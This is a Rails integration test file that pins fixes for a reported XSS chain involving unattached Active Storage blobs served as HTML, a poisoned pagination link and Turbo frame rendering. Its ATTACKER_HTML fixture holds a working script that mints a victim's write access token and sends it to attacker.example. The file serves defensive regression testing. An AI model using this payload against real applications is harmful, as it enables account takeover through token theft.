test/integration/pagination_blob_html_xss_test.rb
Rama main · réplica de lectura del repositorio original.
require "test_helper"
# Regression coverage for HackerOne #3943339.
#
# An attacker uploads an *unattached* Active Storage blob whose client-supplied
# content type is "text/html;charset=utf-8" (the parameterized MIME slips past
# Active Storage's exact-string binary list), then poisons a public board's
# automatic-pagination link so a signed-in victim's browser fetches the blob
# through Active Storage. Turbo renders the response as a
# live frame and executes the inline <script>, which mints and exfiltrates a
# victim Identity access token.
#
# These tests pin the server-side invariants that break the chain:
# 1. lib/rails_ext/active_storage_authorization.rb must NOT authorize an
# unattached blob to a principal outside the blob's account.
# 2. Even for an in-account principal, HTML/XML/SVG and unattached blobs must
# be served as application/octet-stream, never as executable text/html.
# 3. app/helpers/pagination_helper.rb must not forward url_for control options
# (script_name, host, ...) from request params into the pagination href.
class PaginationBlobHtmlXssTest < ActionDispatch::IntegrationTest
ATTACKER_HTML = <<~HTML.freeze
<turbo-frame id="stream_column-pagination-contents-2"><script>void async function(){const csrf=document.querySelector("meta[name=csrf-token]").content;const response=await fetch("/my/access_tokens.json",{method:"POST",credentials:"same-origin",headers:{"Content-Type":"application/json","X-CSRF-Token":csrf},body:JSON.stringify({access_token:{description:"exfil",permission:"write"}})});const {token}=await response.json();location.href="http://attacker.example/collect?token="+encodeURIComponent(token)}()</script></turbo-frame>
HTML
# Link 3 (authorization fail-open): an unattached blob created in the
# attacker's account (37s) must be forbidden to a victim from another account
# (mike belongs to initech). The pre-fix `attachments.none?` fail-open
# authorizes it regardless of account membership.
test "unattached blob is not served to a cross-account principal" do
blob = create_unattached_html_blob
sign_in_as :mike
get rails_blob_path(blob)
assert_response :forbidden
end
# Link 4 (parameterized-MIME inline serving): even the blob's own-account
# owner must never receive an unattached HTML blob as executable text/html.
# Serving must normalize it to application/octet-stream.
test "unattached html blob is served as octet-stream, never executable html" do
blob = create_unattached_html_blob
sign_in_as :david
serve blob
assert_equal "application/octet-stream", response.media_type,
"unattached/text-html blob must not be served as executable text/html"
assert_match %r{attachment}, response.headers["Content-Disposition"].to_s
end
# Link 4, malformed variant: a declared type such as "text/html,foo" is not a
# canonical MIME type, so splitting only on ";" leaves it intact — it matches
# neither our dangerous list nor Active Storage's exact binary list — yet a
# client can still treat its "text/html" prefix as HTML. The essence must
# normalize down to text/html and be forced to binary.
test "unattached blob with a malformed text/html type is served as octet-stream" do
blob = create_unattached_html_blob(content_type: "text/html,foo")
sign_in_as :david
serve blob
assert_equal "application/octet-stream", response.media_type,
"a malformed text/html type must not be served as executable html"
assert_match %r{attachment}, response.headers["Content-Disposition"].to_s
end
# Link 4, Turbo-matcher variants: Turbo's own FetchResponse#isHTML matcher
# (/^(?:text\/([^\s;,]+\b)?html|application\/xhtml\+xml)\b/) renders a whole
# family of non-canonical declared types as HTML in a frame, well beyond the
# canonical "text/html". Each of these must be forced to octet-stream or the
# script-execution sink stays open (HackerOne #3943339).
%w[
text/x-html
text/html+json
text/vnd.turbo-stream.html
application/xhtml+xml+xxe
text/htmlé
].each do |declared_type|
test "unattached blob declared #{declared_type} is served as octet-stream" do
blob = create_unattached_html_blob(content_type: declared_type)
sign_in_as :david
serve blob
assert_equal "application/octet-stream", response.media_type,
"#{declared_type} is rendered as HTML by Turbo's frame matcher and must not be served inline"
assert_match %r{attachment}, response.headers["Content-Disposition"].to_s
end
end
# Documents the downstream sink (link 5): the token-mint endpoint is reachable
# from any authenticated identity and returns a raw identity-scoped write
# token. Not changed by this fix — the chain is broken upstream — but pinned so
# a regression that re-opens the upstream links is understood to be critical.
test "access token mint endpoint returns a raw identity-scoped write token" do
sign_in_as :david
post my_access_tokens_path(format: :json),
params: { access_token: { description: "probe", permission: "write" } }
assert_response :created
body = JSON.parse(response.body)
assert body["token"].present?, "mint endpoint must return the raw token"
assert_equal "write", body["permission"]
end
private
def serve(blob)
get rails_blob_path(blob)
assert_response :redirect
follow_redirect!
assert_response :success
end
# Mirrors Fizzy's S3 direct-upload path: create_before_direct_upload! stores
# the client-supplied content type verbatim (no re-identification), then the
# bytes are written straight to the service. The blob is left UNATTACHED.
def create_unattached_html_blob(content_type: "text/html;charset=utf-8")
html = ATTACKER_HTML
blob = Current.with(account: accounts("37s"), session: sessions(:david)) do
ActiveStorage::Blob.create_before_direct_upload! \
filename: "video-exfil.html",
content_type: content_type,
byte_size: html.bytesize,
checksum: OpenSSL::Digest::MD5.base64digest(html)
end
blob.upload_without_unfurling(StringIO.new(html))
blob
end
end